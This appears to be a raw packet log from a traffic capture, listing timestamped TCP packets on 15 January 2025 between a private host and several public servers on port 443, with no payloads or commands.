Jan 15, 2025 13:08:18.437066078 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.460572004 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460618019 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460643053 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460668087 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460692883 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.460731030 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460750103 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.460860014 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460886955 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460907936 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.460911036 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460926056 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.460974932 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.461409092 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.461456060 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.461463928 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.461494923 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.461524963 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.461546898 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.461555958 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.461663008 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.461671114 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.462373018 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.462399006 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.462421894 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.462425947 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.462435961 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.462476015 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.462485075 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.462531090 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.462538004 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.465554953 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.481161118 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.502850056 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.502885103 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.502966881 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.502995014 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.503022909 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.793482065 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.793520927 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.793777943 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.793865919 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.795344114 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.795406103 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.796756983 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.796849012 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.796937943 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.796948910 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.797091961 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.797159910 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.797875881 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.797957897 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.798588991 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.798607111 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.804044962 CET	49781	443	192.168.2.4	104.18.95.41
Jan 15, 2025 13:08:18.804080963 CET	443	49781	104.18.95.41	192.168.2.4
Jan 15, 2025 13:08:18.838073969 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.853710890 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.894438028 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.900526047 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:18.900578022 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:18.900635004 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:18.901015043 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:18.901029110 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:18.901689053 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.901819944 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.901892900 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.901905060 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.901957989 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.902012110 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.902029037 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.902107000 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.902175903 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.902189016 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.902273893 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.902342081 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.902353048 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.902379990 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.902427912 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.905965090 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.906105042 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.906166077 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.906181097 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.910779953 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.910790920 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.910840034 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.910842896 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.910875082 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.910892963 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.910926104 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.910926104 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.910934925 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.910947084 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.910960913 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.910989046 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.958734989 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.964844942 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:18.964865923 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:18.964926004 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:18.965126038 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:18.965138912 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:18.986084938 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.986109018 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.986145020 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.986156940 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.986191988 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.986207008 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.987972021 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.987991095 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.988029003 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.988035917 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:18.988064051 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.988080978 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:18.988097906 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988312006 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988370895 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.988392115 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988472939 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988527060 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.988539934 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988616943 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988675117 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.988687038 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988771915 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988826990 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.988838911 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988926888 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.988980055 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.988991022 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989067078 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989120960 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.989131927 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989203930 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989250898 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.989263058 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989542961 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989599943 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.989613056 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989676952 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989732027 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.989742994 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989815950 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.989876032 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.989886999 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.990341902 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.990397930 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.990408897 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.990502119 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.990557909 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.990571022 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.990722895 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:18.990778923 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.990849972 CET	49782	443	192.168.2.4	104.17.25.14
Jan 15, 2025 13:08:18.990875959 CET	443	49782	104.17.25.14	192.168.2.4
Jan 15, 2025 13:08:19.076251984 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.076273918 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.076325893 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:19.076344013 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.076371908 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:19.076387882 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:19.077627897 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.077646971 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.077697992 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:19.077706099 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.077742100 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:19.078083992 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.078135967 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:19.078141928 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.078180075 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.078227997 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:19.078766108 CET	49783	443	192.168.2.4	151.101.130.137
Jan 15, 2025 13:08:19.078780890 CET	443	49783	151.101.130.137	192.168.2.4
Jan 15, 2025 13:08:19.353168964 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.353439093 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.353456020 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.354321957 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.354381084 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.354717970 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.354775906 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.354862928 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.354871988 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.400424004 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.445235014 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.445688963 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.445724010 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.447160959 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.447238922 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.447566032 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.447649002 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.447735071 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.447746038 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.486943007 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487008095 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487046957 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487065077 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.487068892 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487082958 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487107038 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487205029 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487220049 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487236977 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487247944 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.487247944 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.487262011 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.487273932 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.487299919 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.490061998 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.492192984 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.514487982 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.514524937 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.514647007 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.514933109 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.514941931 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.541380882 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.573440075 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.573472977 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.573568106 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.573579073 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.573596954 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.573622942 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.573640108 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.573654890 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.573663950 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.573677063 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.574322939 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574347019 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574373960 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.574383020 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574404001 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574425936 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.574446917 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574489117 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.574548960 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574564934 CET	49784	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.574577093 CET	443	49784	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574599028 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.574603081 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574634075 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574681044 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.574729919 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574902058 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.574951887 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.574969053 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.575056076 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.575104952 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.575114965 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.575215101 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.575263023 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.575273037 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.579195976 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.579230070 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.579303026 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.579530954 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.579540968 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.619169950 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.619201899 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665285110 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665394068 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665405035 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.665440083 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665559053 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665709019 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.665719032 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665802956 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665887117 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665915966 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.665925026 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.665947914 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.666424990 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.666485071 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.666493893 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.666584015 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.666666985 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.666717052 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.666726112 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.666770935 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.667112112 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.667282104 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.667387009 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.667416096 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.667424917 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.667664051 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.667985916 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.668137074 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.668245077 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.668253899 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.712502003 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.756000996 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.756196022 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.756263018 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.756278992 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.756383896 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.756436110 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.756445885 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.756567001 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.756632090 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.756758928 CET	49785	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.756772995 CET	443	49785	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.973360062 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.973634005 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.973649025 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.974737883 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.975280046 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:19.975377083 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:19.975555897 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.023330927 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.061834097 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.062062979 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.062082052 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.062371969 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.062680960 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.062743902 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.062804937 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.102807045 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.102822065 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.125861883 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.125999928 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126080990 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126132011 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.126146078 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126194954 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.126202106 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126265049 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126318932 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.126329899 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126400948 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126480103 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126533985 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.126544952 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.126588106 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.126593113 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.130466938 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.130558968 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.130568027 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.176095009 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.200473070 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.200633049 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.200685978 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.200695038 CET	443	49786	104.18.94.41	192.168.2.4
